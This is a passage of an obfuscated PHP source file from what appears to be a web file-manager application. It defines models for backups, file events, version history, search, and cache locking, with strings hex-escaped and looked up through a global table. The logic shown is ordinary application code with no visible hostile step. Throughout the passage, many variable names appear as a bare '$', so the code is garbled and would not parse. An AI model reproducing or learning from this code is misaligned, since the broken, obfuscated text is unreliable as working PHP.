public function sort($ƌ, $) { return parent::update($ƌ, $); } } class BackupModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\x6d\x2e\142\x61\x63\x6b\x75\160\x4c\x69\x73\164"; public $field = array("\x69\157", "\156\x61\155\145", "\163\164\141\x74\x75\163", "\143\x6f\156\164\x65\x6e\x74", "\155\141\x6e\165\141\154", "\162\145\x73\x75\x6c\x74", "\x74\151\x6d\145\106\x72\157\155", "\164\x69\155\x65\124\x6f"); public function config() { $ݥ =& $_SERVER[՟]; Action($ݥ[1997])->taskInit(); $ՠ = Model($ݥ[854])->get($ݥ[867]); $ՠ = json_decode($ՠ, !0); $ՠ = is_array($ՠ) ? $ՠ : array(); $this->parseContent($ՠ); unset($ՠ[$ݥ[1743]]); Model($ݥ[1742])->cacheClear(); $ގ = $ݥ[1998]; $ɝˮ = Model($ݥ[1999])->findByKey($ݥ[1761], $ގ); if (!$ɝˮ) { $ɝˮ = array(); } if (isset($ɝˮ[$ݥ[216]])) { $ɝˮ[$ݥ[216]] = json_decode($ɝˮ[$ݥ[216]], !0); } if (isset($ՠ[$ݥ[216]])) { $ɝˮ[$ݥ[216]][$ݥ[1746]] = $ՠ[$ݥ[216]]; unset($ՠ[$ݥ[216]]); } return array_merge($ɝˮ, $ՠ); } public function listData($䫡 = false, $ʄɰ = "\x6d\x6f\x64\151\146\171\x54\151\155\x65", $ = false) { $ = parent::listData($䫡, $ʄɰ, !0); if (!$) { return $; } if ($䫡) { $ = array($); } foreach ($ as &$) { $this->parseContent($); } return $䫡 ? $[0] : $; } public function parseContent(&$ûа) { $閨 =& $_SERVER[՟]; $ٍ = _get($ûа, $閨[181], $閨[101]); if (!in_array($ٍ, array($閨[860], $閨[1214]))) { $ûа[$閨[181]] = $ٍ == $閨[101] ? $閨[1214] : $閨[860]; } } public function lastItem() { $۵ = $this->listData(); return !empty($۵[0]) ? $۵[0] : null; } public function kill($̔) { $ =& $_SERVER[՟]; $չ = $this->listData($̔); if (!$չ || empty($չ[$[32]])) { return !0; } Task::kill($[866]); Task::kill($[884]); Task::kill($[893]); $ڦ = $չ[$[32]]; $ = TEMP_FILES . $[863] . $ڦ . $[8]; IO::remove($, !1); return $this->remove($̔); } public function remove($Ռ) { $ = $this->listData($Ռ); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($Ӊ) { parent::remove($Ӊ[$_SERVER[՟][484]]); $չ = $this->backupPath($Ӊ); IO::remove($չ, !1); return !0; } private function backupPath($) { $℆ =& $_SERVER[՟]; $ˆ = $[$℆[32]]; $ = Model($℆[854])->get($℆[855]); $ = substr(md5($℆[856] . $ . $ˆ), 0, 8); return "\x7b\x69\157\72{$[$℆[836]]}\175\57\144\141\164\x61\x62\141\x73\x65\57\x62\x61\x63\x6b\165\x70\57" . $ˆ . $℆[11] . $; } public function start() { $ =& $_SERVER[՟]; if ($GLOBALS[$[6]][$[102]][$[2000]] != $[101]) { return !0; } $ = $this->config(); if (!$ || $[$[1743]] != $[101]) { return !1; } if ($[$[181]] == $[860]) { $ = Model($[854])->get($[1327]); if ($ == $[1328]) { $[$[181]] = $[1214]; } } $ؾ = $this->process(); foreach ($ؾ as $Ӭ) { if ($Ӭ) { return Task::restart($Ӭ[$[484]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[181]] == $[860]) { $ = $->file(); } } Backup::set(array($[834] => 1, $[845] => time())); return !0; } public function process() { $̣ =& $_SERVER[՟]; $ = array($̣[841] => Task::get($̣[866]), $̣[846] => Task::get($̣[884]), $̣[240] => Task::get($̣[893])); $۶ڭ = !1; foreach ($ as &$) { if ($۶ڭ) { $ = !1; continue; } if ($) { $݈ = intval(_get($, $̣[1778], 0)); if (time() - $݈ > 7200) { Task::kill($[$̣[484]]); $۶ڭ = !0; $ = !1; } } } return $; } public function restore() { $ =& $_SERVER[՟]; ActionCall($[1141], !0, 1); ActionCall($[1141], !0, 0); } } goto A; E: class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\137\163\157\x75\x72\x63\145\137\145\x76\145\156\164"; protected $dataAuto = array(array("\x63\162\145\141\x74\145\x54\151\155\145", "\164\x69\155\x65", "\151\x6e\x73\145\x72\x74", "\146\165\156\143\164\x69\x6f\156"), array("\144\x65\x73\x63", '', "\151\156\x73\x65\x72\164\54\x75\160\144\x61\164\x65\54\163\145\x6c\x65\x63\x74", "\x6a\163\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($Ҙ, $, $ = '') { $ʠ =& $_SERVER[՟]; if (!$this->eventSave) { return; } $ݿ = Model($ʠ[1421])->sourceInfo($Ҙ); if (!$ݿ) { return !1; } if ($this->isDisableEvent($ݿ, $)) { return; } if ($ && is_string($)) { $ = array($ʠ[2011] => $); } $؈ = defined($ʠ[2198]) ? USER_ID : 0; $ = array($ʠ[500] => $Ҙ, $ʠ[2199] => $ݿ[$ʠ[202]], $ʠ[2200] => $ݿ[$ʠ[32]], $ʠ[591] => !empty($ݿ[$ʠ[591]]) ? $ݿ[$ʠ[591]] : $ʠ[12], $ʠ[1764] => $؈, $ʠ[505] => $, $ʠ[1766] => $); $this->addSystemLog($, $); unset($[$ʠ[2200]], $[$ʠ[591]]); return $this->add($); } private function addSystemLog($, $ߖ) { $ =& $_SERVER[՟]; if ($ == $[2201]) { $ = $ߖ[$[535]][$[2202]]; } else { if (in_array($, array($[1951], $[2203]))) { $ = $ߖ[$[535]][$[181]]; } } $ = array_merge($ߖ, array($[2204] => $ߖ[$[203]], $[2205] => $ߖ[$[2205]])); Hook::trigger($[2206], $[2207] . $, $ߖ); Model($[1915])->addLog($[2207] . $, $); } private function isDisableEvent($, $) { $כ =& $_SERVER[՟]; if ($[$כ[200]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($ == $כ[1940]) { return !1; } return !0; } public function eventCreate($, $ݔ) { $ =& $_SERVER[՟]; $ܚ = Model($[1421])->sourceInfo($); $橽 = array($[2202] => $ݔ, $[32] => $ܚ[$[32]]); return $this->addEvent($, $[2201], $橽); } public function eventFileEdit($) { $ =& $_SERVER[՟]; $ѥ = array($[2208] => $_SERVER[$[2209]], $[2210] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2211]])) { $ѥ[$[2211]] = $[101]; } return $this->addEvent($, $[1941], $ѥ); } public function eventRecycle($װ, $) { return $this->addEvent($װ, $_SERVER[՟][2203], $); } private static $_removeLast = ''; public function eventRemove($̃) { $ӂ =& $_SERVER[՟]; self::$_removeLast = $̃; $ޔ = Model($ӂ[1421])->sourceInfo($̃); $͐ = array_field_key($ޔ, array($ӂ[203], $ӂ[550], $ӂ[514], $ӂ[593])); $؊ = array($ӂ[181] => $ޔ[$ӂ[32]], $ӂ[2210] => ACTION, $ӂ[2212] => $͐); return $this->addEvent($ޔ[$ӂ[202]], $ӂ[1940], $؊); } public function eventShare($˔, $맇) { return $this->addEvent($˔, $_SERVER[՟][1951], $맇); } public function eventMove($, $ڧ, $Ϡ²) { $Ɗ =& $_SERVER[՟]; if (self::$_removeLast == $) { return; } $ = Model($Ɗ[1421]); $Н = $->sourceInfo($); $ꄂ = $->sourceInfo($ڧ); $ = $->sourceInfo($Ϡ²); $ = array($Ɗ[1244] => $ڧ, $Ɗ[2213] => $ꄂ[$Ɗ[32]], $Ɗ[2189] => !empty($ꄂ[$Ɗ[591]]) ? $ꄂ[$Ɗ[591]] : $Ɗ[12], $Ɗ[1245] => $Ϡ², $Ɗ[2214] => $[$Ɗ[32]], $Ɗ[2215] => !empty($[$Ɗ[591]]) ? $[$Ɗ[591]] : $Ɗ[12]); $this->addEvent($, $Ɗ[629], $); $Н = $->sourceInfo($); $ = array($Ɗ[203] => $Н[$Ɗ[203]], $Ɗ[32] => $Н[$Ɗ[32]]); $this->addEvent($ڧ, $Ɗ[2216], $); } public function eventCopy($) { $this->eventCreate($, $_SERVER[՟][627]); } public function eventRename($, $ξ, $) { $ҩ =& $_SERVER[՟]; $٫ = array($ҩ[1244] => $ξ, $ҩ[1245] => $); return $this->addEvent($, $ҩ[1435], $٫); } public function eventAddComment($谵, $) { return $this->addEvent($谵, $_SERVER[՟][2217], $); } public function eventAddDesc($Ĝ, $Ч) { return $this->addEvent($Ĝ, $_SERVER[՟][2218], $Ч); } public function listBySource($Ð) { $߾ =& $_SERVER[՟]; $ݮ = Model($߾[1421])->sourceInfo($Ð); $ = array($߾[500] => $Ð); if ($ݮ[$߾[494]] == $߾[101]) { $ = Model($߾[1421])->listSearchChildren($Ð, 20000); $[] = $Ð . $߾[463]; $ = array($߾[203] => array($߾[7], $)); } $ = $this->where($)->order($߾[2219])->selectPage(); if ($[$߾[451]][$߾[452]] == 0) { $[$߾[451]][$߾[452]] = 1; $[$߾[454]] = array(array($߾[500] => $Ð, $߾[2199] => $ݮ[$߾[202]], $߾[1764] => $ݮ[$߾[536]], $߾[505] => $߾[2220], $߾[506] => $ݮ[$߾[241]], $߾[1766] => $߾[12])); } return $this->eventListParse($, $Ð); } private function eventListParse($, $ĵ̶) { $չ =& $_SERVER[՟]; $ = $[$չ[454]]; $੬ = array_to_keyvalue($, $չ[12], $չ[203]); $ = array_to_keyvalue($, $չ[12], $չ[2205]); foreach ($ as $) { $ׁ = $[$չ[535]]; if ($[$չ[33]] == $չ[629] && isset($ׁ[$չ[1244]])) { $੬[] = $ׁ[$չ[1244]] . $չ[12]; $੬[] = $ׁ[$չ[1245]] . $չ[12]; } if ($[$չ[33]] == $չ[2216] && isset($ׁ[$չ[203]])) { $੬[] = $ׁ[$չ[203]] . $չ[12]; } } $੬ = array_merge($੬, $, array($ĵ̶ . $չ[12])); $੬ = array_unique($੬); $ܪՓ = array_unique(array_to_keyvalue($, $չ[12], $չ[1773])); $ = Model($չ[607])->userListInfo($ܪՓ); $ = Model($չ[908])->sourceListInfo($੬, !0); foreach ($ as &$) { if ($[$չ[33]] == $չ[629] && isset($[$չ[535]][$չ[1244]])) { $[$չ[535]][$չ[1244]] = $[$[$չ[535]][$չ[1244]]]; $[$չ[535]][$չ[1245]] = $[$[$չ[535]][$չ[1245]]]; } if ($[$չ[33]] == $չ[2216] && isset($[$չ[535]][$չ[203]])) { $[$չ[535]][$չ[203]] = $[$[$չ[535]][$չ[203]]]; } $[$չ[100]] = $[$[$չ[203]]]; $[$չ[2221]] = $[$[$չ[2205]]]; if ($[$չ[33]] == $չ[1940]) { $[$չ[2221]] = $[$չ[100]]; $[$չ[2205]] = $[$չ[2221]][$չ[203]]; $[$չ[100]] = !1; $[$չ[203]] = $չ[12]; } $[$չ[2148]] = $[$[$չ[1773]]]; } unset($); $[$չ[454]] = $; return $; } public function removeBySource($) { $ = array($_SERVER[՟][500] => $); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\157\137\163\157\165\x72\x63\x65\x5f\x68\x69\x73\x74\x6f\x72\x79"; public function historyCount($) { $ =& $_SERVER[՟]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ތ = array($[203], $[2005] => $[574]); $ퟆ = array($[203] => array($[7], $)); $ = $this->field($ތ)->where($ퟆ)->group($[203])->select(); return array_to_keyvalue($, $[203], $[574]); } public function addHistory($ϣ, $æ = '') { $ԙ =& $_SERVER[՟]; $ = array($ԙ[500] => $ϣ[$ԙ[203]], $ԙ[1764] => isset($ϣ[$ԙ[538]]) ? $ϣ[$ԙ[538]] : $ϣ[$ԙ[536]], $ԙ[551] => $ϣ[$ԙ[550]], $ԙ[626] => $ϣ[$ԙ[89]], $ԙ[2222] => $æ); if ($GLOBALS[$ԙ[6]][$ԙ[102]][$ԙ[1305]] >= 1) { $this->historyAutoClear($[$ԙ[203]]); $this->add($); } Hook::trigger($ԙ[2223], $); Model($ԙ[2224])->eventFileEdit($ϣ[$ԙ[203]]); } private function historyAutoClear($) { $ =& $_SERVER[՟]; $뼱 = Model($[854])->get($[1327]); $Λ = intval($GLOBALS[$[6]][$[102]][$[1305]]); $삇 = $뼱 == $[1328] ? min(5, $Λ) : $Λ; $삇 = $삇 <= 0 ? 0 : $삇 - 1; if ($삇 >= 499) { return; } $ě = array($[500] => $); $프젔 = $this->field($[2225])->where($ě)->order($[2219])->select(); if (!$프젔 || $삇 >= count($프젔)) { return; } $ = array_to_keyvalue($프젔, $[12], $[484]); $ = array_slice($, $삇); $ƷΖ̏ = array_to_keyvalue($프젔, $[12], $[550]); $ƷΖ̏ = array_slice($ƷΖ̏, $삇); if (!$ || !$ƷΖ̏) { return; } $ě = array($[502] => array($[7], $)); $this->where($ě)->delete(); Model($[553])->remove($ƷΖ̏); } public function listData($) { $˲ =& $_SERVER[՟]; $ə = array($˲[500] => $); $ = $˲[2226]; $蘇 = $this->field($)->where($ə)->order($˲[2219])->selectPage(); $this->_listAppendUser($蘇[$˲[454]]); $dz = Model($˲[854])->get($˲[1327]); $ = 5; if ($dz == $˲[1328]) { $蘇[$˲[454]] = array_slice($蘇[$˲[454]], 0, $); $蘇[$˲[451]] = array($˲[2227] => 1, $˲[2228] => 20, $˲[2229] => 1, $˲[2230] => count($蘇[$˲[454]])); } return $蘇; } protected function _listAppendUser(&$Ù) { $¦ =& $_SERVER[՟]; $ٙ = array_to_keyvalue($Ù, $¦[12], $¦[1773]); $ = Model($¦[607])->userListInfo($ٙ); foreach ($Ù as &$) { $ = $[$¦[1773]]; $[$¦[536]] = $[$] ? $[$] : !1; } unset($); } public function fileInfo($) { $ =& $_SERVER[՟]; $ = $this->tablePrefix; $ = "{$}\151\157\137\146\151\154\145\x20\x66\151\x6c\x65\x73\40\157\156\40\x66\x69\154\x65\x73\56\146\x69\154\145\111\104\40\x3d\x20\x68\151\163\164\157\x72\171\56\146\151\154\x65\x49\104"; return $this->alias($[2231])->where(array($[502] => $))->join($, $[2232])->find(); } public function removeItem($ᘛ) { $ =& $_SERVER[՟]; $Ʉ = array($[502] => $ᘛ); $ = $this->where($Ʉ)->find(); if ($) { $Ҕ = $this->where($Ʉ)->delete(); Model($[553])->remove($[$[550]]); return $Ҕ; } return !1; } public function removeBySource($ȶ) { $ =& $_SERVER[՟]; if (!$ȶ) { return !1; } if (!is_array($ȶ)) { $ȶ = array($ȶ); } $ŶҠ = array($[500] => array($[7], $ȶ)); $ꕏ = $this->field($[551])->where($ŶҠ)->select(); if ($ꕏ) { $this->where($ŶҠ)->delete(); $ = array_to_keyvalue($ꕏ, $[12], $[550]); Model($[553])->remove($); } return !0; } public function setDetail($, $ق¼) { $Դ =& $_SERVER[՟]; return $this->where(array($Դ[502] => $))->save(array($Դ[2222] => $ق¼)); } public function rollbackToItem($їע, $) { $ =& $_SERVER[՟]; $送ս = Model($[908])->sourceInfo($їע); $this->addHistory($送ս, LNG($[2233])); $ = $this->find($); $ = array($[550] => $[$[550]], $[89] => $[$[89]], $[98] => time(), $[538] => USER_ID); Model($[908])->where(array($[203] => $їע))->save($); return $this->where(array($[502] => $))->delete(); } public function clearSame($ѫ) { $ß =& $_SERVER[՟]; $ږ = $this->listData($ѫ); $߷ = array_to_keyvalue_group($ږ, $ß[550]); $ɶ = array(); $é߯ = array(); foreach ($߷ as $ю) { if (!$ю || count($ю) <= 1) { continue; } foreach ($ю as $â) { $ɶ[] = $â[$ß[550]]; $é߯[] = $â[$ß[484]]; } } if (!$é߯) { return; } $this->where(array($ß[484] => array($ß[7], $é߯)))->delete(); Model($ß[553])->remove($ɶ); } public function userSpace() { $ˤ =& $_SERVER[՟]; $ = $this->tablePrefix; $䅩 = array($ˤ[1764] => USER_ID); $ = "{$}\151\x6f\137\x66\151\x6c\x65\40\x66\151\x6c\x65\x73\40\x6f\x6e\x20\146\x69\154\145\x73\56\x66\x69\x6c\x65\x49\104\40\75\x20\150\151\x73\x74\x6f\x72\171\56\x66\151\x6c\145\111\x44"; return $this->alias($ˤ[2231])->where($䅩)->join($, $ˤ[2232])->sum($ˤ[89]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[՟]; $ݵ = KodIO::fileTypeList(); $鬽 = $ݵ[$]; if (!$鬽) { return array(); } $؊ = $鬽[$[179]]; $ڍ = $[7]; if (!$鬽[$[179]]) { $ፈ = array_to_keyvalue($ݵ, $[12], $[179]); $؊ = implode($[50], $ፈ); $ڍ = $[2234]; } $ꧤ = explode($[50], trim($؊, $[50])); return array($ڍ, $ꧤ); } public function listPathType($) { $݈ =& $_SERVER[՟]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ = Model($݈[607])->getInfo($); $ = array($݈[657] => SourceModel::TYPE_USER, $݈[593] => array($݈[621], $݈[603] . $[$݈[100]][$݈[203]] . $݈[622]), $݈[658] => $, $݈[655] => 0, $݈[656] => $); return $this->listSource($); } public function listSearch($, $ױ = 300) { $ۺ =& $_SERVER[՟]; if (isset($[$ۺ[2070]]) && $[$ۺ[2070]]) { $[$ۺ[2070]] = str_replace($ۺ[469], $ۺ[2235], trim($[$ۺ[2070]])); } $ = $this->_parseSearchWhere($); if (!isset($[$ۺ[514]])) { $[$ۺ[514]] = 0; } $Ǚ = $ۺ[2236]; $真 = $; $ʥ = $Ǚ; $this->_listSearchBindPinyin($, $, $Ǚ); $this->alias($ۺ[528])->_makeOrder(); $ = $this->parseWhereLike($); $К = $this->distinct(!0)->field($Ǚ)->where($)->selectPage($ױ); if ($GLOBALS[$ۺ[6]][$ۺ[466]][$ۺ[467]] && Input::check($[$ۺ[2070]], $ۺ[664]) && $К[$ۺ[451]][$ۺ[438]] == 1 && $К[$ۺ[451]][$ۺ[452]] == 0) { $К = $this->distinct(!0)->field($Ǚ)->where($真)->limit(1000)->select(); $К = array_page_split($К, !1, $ױ); } $this->_listSearchFileContent($К, $, $ʥ, $真); $this->_listSearchDesc($К, $, $ʥ); $this->_listSearchTag($К, $, $ʥ); $this->_listSearchGroupTag($К, $, $ʥ); $this->_listDataApply($К[$ۺ[454]]); $this->_listMake($К); return $К; } private function _listSearchFileContent(&$, $, $, $ǝל) { $ =& $_SERVER[՟]; if (!$[$[2070]] || $[$[451]][$[438]] > 1) { return; } if (!isset($ǝל[$[32]]) || !is_array($[$[550]])) { return; } $ǝל[$[550]] = array($[7], $[$[550]]); unset($ǝל[$[32]]); unset($[$[550]]); $ = $this->field($)->where($ǝל)->limit($[2237])->select(); if (!$ || count($) == 0) { return; } $[$[454]] = array_merge($, $[$[454]]); $[$[451]][$[452]] += count($); } private function _listSearchTag(&$, $, $զ) { $ =& $_SERVER[՟]; if (!$[$[2070]] || $[$[451]][$[438]] > 1) { return; } $ = Model($[2238])->listData(); $ֆ = array(); $ = $[$[2070]]; foreach ($ as $ƫ) { $ = $ƫ[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $ֆ[] = $ƫ[$[484]]; } } if (!$ֆ) { return; } $͛ = array($[509] => array($[7], $ֆ), $[1773] => USER_ID); $¿ = Model($[511])->field($[97])->where($͛)->select(); $¿ = array_to_keyvalue($¿, $[12], $[97]); $ = array_unique($¿); $this->_listSearchMerge($, $, $զ, $); } private function _listSearchDesc(&$ǽ, $, $҃) { $콕 =& $_SERVER[՟]; if (!$[$콕[2070]] || $ǽ[$콕[451]][$콕[438]] > 1) { return; } $ܭ = array($콕[107] => $콕[535], $콕[459] => array($콕[468], $콕[2072] . $[$콕[2070]] . $콕[2072])); $❡ = !1; if ($❡) { $ёٷ = $this->listSearchChildren($[$콕[202]]); $ёٷ = array_unique($ёٷ); if (!$ёٷ) { return; } $ܭ[$콕[203]] = array($콕[7], $ёٷ); } $ބд = Model($콕[641])->field($콕[203])->where($ܭ)->limit(5000)->select(); $ = array_to_keyvalue($ބд, $콕[12], $콕[203]); $this->_listSearchMerge($ǽ, $, $҃, $); } private function _listSearchGroupTag(&$, $, $ɔ) { $ =& $_SERVER[՟]; if (!$[$[2070]] || $[$[451]][$[438]] > 1 || !$[$[202]]) { return; } $ = $this->sourceInfo($[$[202]]); if (!$ || $[$[200]] != SourceModel::TYPE_GROUP) { return; } $制 = $[$[578]]; $抐 = Model($[2239])->get($制); $ = array(); $쳜 = $[$[2070]]; foreach ($抐[$[454]] as $ᢴ֘) { $댰 = $ᢴ֘[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($댰)); if (stripos($댰, $쳜) !== !1 || stripos($, $쳜) !== !1) { $[] = $ᢴ֘[$[484]]; } } if (!$) { return; } $ۅ = array($[509] => array($[7], $), $[1773] => 0, $[33] => $[2092] . $制); $ = Model($[511])->field($[97])->where($ۅ)->select(); $ = array_to_keyvalue($, $[12], $[97]); $ϗ = array_unique($); $this->_listSearchMerge($, $, $ɔ, $ϗ); } private function _listSearchMerge(&$, $ᒎ, $, $՛) { $ =& $_SERVER[՟]; if (!$՛) { return; } $恐 = array_to_keyvalue($[$[454]], $[12], $[203]); $ = array_diff($՛, $恐); if (!$) { return; } $ = array($[203] => array($[7], $)); $ȼ = $this->field($)->where($)->select(); if (!$ȼ) { return; } $ = array(); foreach ($ȼ as $) { if ($this->_listSearchFilter($, $ᒎ)) { $[] = $; } } $[$[454]] = array_merge($, $[$[454]]); $[$[451]][$[452]] += count($); } private function _listSearchFilter($ѧ, $) { $Ңۋ =& $_SERVER[՟]; $߂ث = $ѧ[$Ңۋ[494]] == $Ңۋ[101]; if (!strstr($ѧ[$Ңۋ[593]], $Ңۋ[50] . $[$Ңۋ[202]] . $Ңۋ[50])) { return !1; } if (isset($[$Ңۋ[495]]) && $[$Ңۋ[495]] != $Ңۋ[860]) { if ($[$Ңۋ[495]] == $Ңۋ[88] && !$߂ث) { return !1; } if ($[$Ңۋ[495]] != $Ңۋ[88] && $߂ث) { return !1; } if (!strstr($ѧ[$Ңۋ[179]], $Ңۋ[50] . $[$Ңۋ[495]] . $Ңۋ[50])) { return !1; } } if (isset($[$Ңۋ[2240]]) && $[$Ңۋ[2240]] < $ѧ[$Ңۋ[89]]) { return !1; } if (isset($[$Ңۋ[2241]]) && $[$Ңۋ[2241]] > $ѧ[$Ңۋ[89]]) { return !1; } if (isset($[$Ңۋ[671]]) && $[$Ңۋ[671]] != $ѧ[$Ңۋ[538]]) { return !1; } return !0; } public function listSearchChildren($, $б = 5000) { $ =& $_SERVER[՟]; $ϟ = array(); $ˡ = $this->sourceInfo($); $ⶹ = array($[593] => array($[468], $ˡ[$[593]] . $ˡ[$[203]] . $[622])); $ܒ = $this->field($[89])->where($ⶹ)->limit($б + 1)->select(); $۞ = is_array($ܒ) ? count($ܒ) : 0; if ($۞ > $б) { return $this->_listSearchChildrenNear($, $б); } $ = $this->field($[203])->where($ⶹ)->select(); $ϟ = array_to_keyvalue($, $[12], $[203]); return $ϟ; } private function _listSearchChildrenNear($ؾ, $) { $ =& $_SERVER[՟]; $ = array(); $ = array($[202] => $ؾ); $ = $this->field($[2242])->where($)->select(); $ = array_to_keyvalue(array_filter_by_field($, $[494], $[101]), $[12], $[203]); $ = array_merge($, array_to_keyvalue($, $[12], $[203])); if (!$) { return $; } $ = array($[202] => array($[7], $)); $ = $this->field($[2242])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[203])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($Ԫ, &$ٴڏ, &$ک) { $Ď =& $_SERVER[՟]; if (!isset($Ԫ[$Ď[2070]]) || !$Ԫ[$Ď[2070]]) { return; } if (!Input::check($Ԫ[$Ď[2070]], $Ď[403]) || strlen($Ԫ[$Ď[2070]]) < 2) { return; } $ۂ = "\114\x45\x46\x54\x20\112\x4f\x49\116\x20{$this->tablePrefix}\151\157\137\163\157\x75\x72\x63\x65\137\x6d\x65\x74\141\40\x6d\x65\164\x61\x20\157\x6e\x20\163\x6f\165\x72\x63\145\56\x73\157\x75\x72\x63\145\111\104\40\75\x20\x6d\x65\x74\141\56\163\157\x75\x72\x63\145\x49\104"; $ = array(); $ک = str_replace(array($Ď[59], $Ď[53], $Ď[2243]), $Ď[12], $ک); $ک = $Ď[520] . str_replace($Ď[50], $Ď[521], $ک); $ = $ٴڏ[$Ď[32]]; unset($ٴڏ[$Ď[32]]); foreach ($ٴڏ as $ => $à) { $[$Ď[520] . $] = $à; } foreach ($ as $ԉ) { $[] = array($Ď[525] => $ԉ, $Ď[1081] => $Ď[2074], array($Ď[2244] => $ԉ, $Ď[2245] => array($Ď[7], array($Ď[547], $Ď[546])))); } $this->join($ۂ); $ٴڏ = $; } private function _parseSearchWhere($ϭ) { $獩 =& $_SERVER[՟]; $ٸ = array(); if (isset($ϭ[$獩[844]]) && $ϭ[$獩[844]]) { $ٸ[$獩[98]] = array($獩[2246], $ϭ[$獩[844]]); } if (isset($ϭ[$獩[845]]) && $ϭ[$獩[845]]) { $ˡ = array($獩[2247], $ϭ[$獩[845]]); if ($ٸ[$獩[98]]) { $ٸ[$獩[98]] = array($ٸ[$獩[98]], $ˡ, $獩[2248]); } else { $ٸ[$獩[98]] = $ˡ; } } if (isset($ϭ[$獩[2240]]) && $ϭ[$獩[2240]] > 0) { $ٸ[$獩[89]] = array($獩[2246], $ϭ[$獩[2240]]); } if (isset($ϭ[$獩[2241]]) && $ϭ[$獩[2241]]) { $ˡ = array($獩[2247], $ϭ[$獩[2241]]); if ($ٸ[$獩[89]]) { $ٸ[$獩[89]] = array($ٸ[$獩[89]], $ˡ, $獩[2248]); } else { $ٸ[$獩[89]] = $ˡ; } } if (isset($ϭ[$獩[671]]) && $ϭ[$獩[671]]) { $ٸ[] = array($獩[538] => $ϭ[$獩[671]], $獩[536] => $ϭ[$獩[671]], $獩[1081] => $獩[2074]); } if (isset($ϭ[$獩[495]]) && $ϭ[$獩[495]]) { $Ť = $ϭ[$獩[495]]; if ($Ť == $獩[88]) { $ٸ[$獩[494]] = 1; } else { if ($Ť == $獩[2249]) { $ٸ[$獩[494]] = 0; } else { if ($Ť) { $Ť = is_array($Ť) ? $Ť : explode($獩[50], $Ť); $ٸ[$獩[495]] = array($獩[501], $Ť); $ٸ[$獩[494]] = 0; } } } } $this->_parseSearchParent($ϭ, $ٸ); if (isset($ϭ[$獩[2070]]) && trim($ϭ[$獩[2070]])) { $Ͽ = trim($ϭ[$獩[2070]]); $¢ = explode($獩[53], $Ͽ); if (strlen($Ͽ) > 2 && (substr($Ͽ, 0, 1) == $獩[131] && substr($Ͽ, -1) == $獩[131]) || substr($Ͽ, 0, 1) == $獩[68] && substr($Ͽ, -1) == $獩[68]) { $Ͽ = substr($Ͽ, 1, -1); $¢ = array($Ͽ); } $ٸ[$獩[32]] = array(array($獩[621], $獩[2072] . $Ͽ . $獩[2072])); if (count($¢) > 1) { $ٸ[$獩[32]] = array(); foreach ($¢ as $) { if (!trim($)) { continue; } $ٸ[$獩[32]][] = array($獩[621], $獩[2072] . trim($) . $獩[2072]); } } } return $ٸ; } private function _parseSearchParent($ʧ, &$) { $ɸĠ =& $_SERVER[՟]; if (!isset($ʧ[$ɸĠ[202]]) || !$ʧ[$ɸĠ[202]]) { return; } $ = $this->pathInfo($ʧ[$ɸĠ[202]]); $ș = $[$ɸĠ[202]] . $ɸĠ[12] === $ɸĠ[238]; $ۖ = $[$ɸĠ[200]] == $ɸĠ[587]; if ($[$ɸĠ[604]] == $ɸĠ[605]) { $ = $this->sourceInfo($ʧ[$ɸĠ[202]]); $[$ɸĠ[593]] = $[$ɸĠ[593]]; } $[$ɸĠ[661]] = array($ɸĠ[621], $[$ɸĠ[593]] . $ʧ[$ɸĠ[202]] . $ɸĠ[622]); $ͷ = isset($ʧ[$ɸĠ[1930]]) && in_array($ɸĠ[587], $ʧ[$ɸĠ[1930]]); if (!$ͷ || !$ۖ || !$ș || !$[$ɸĠ[496]]) { return; } if (!AuthModel::authCheckRoot($[$ɸĠ[496]][$ɸĠ[497]])) { return; } $ = $[$ɸĠ[578]] . $ɸĠ[12]; if ($ == $ɸĠ[101]) { unset($[$ɸĠ[661]]); $[$ɸĠ[200]] = self::TYPE_GROUP; return; } $ = Model($ɸĠ[594])->groupChildrenAll($); $ԃ = count($); if ($ԃ <= 1) { return; } $צ = array($ɸĠ[202] => 0, $ɸĠ[200] => self::TYPE_GROUP, $ɸĠ[578] => array($ɸĠ[7], $)); $߰ = $this->field($ɸĠ[2250])->where($צ)->limit($ԃ)->select(); $[$ɸĠ[661]] = array(); foreach ($߰ as $پ) { $[$ɸĠ[661]][] = array($ɸĠ[621], $ɸĠ[603] . $پ[$ɸĠ[203]] . $ɸĠ[622]); } $[$ɸĠ[661]][] = $ɸĠ[2074]; } } goto D; Bǭ̱ߙ: class CacheLockMemcached { public function lock($, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ܭ = $->handle->add($, $, $); if ($ܭ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ҁ) { return Cache::init()->get($ҁ); } public function unlock($΅) { return Cache::init()->remove($΅); } } class CacheLockDatabase { public function lock($, $ = 0) { $փ = Model($_SERVER[՟][912]); $⥃ = microtime(!0) + $; while (microtime(!0) < $⥃) { $ = $փ->get($); if (!$ || $ < microtime(!0)) { $ = $փ->set($, $⥃); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[՟][912])->get($); } public function unlock($) { Model($_SERVER[՟][912])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[՟]; if (!class_exists($[951])) { show_json($[952], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[953]]) && count($[$[953]]) >= 1) { foreach ($[$[953]] as $ں) { $ = explode($[4], $ں); $this->handle->addServer($[0], $[1]); } } else { 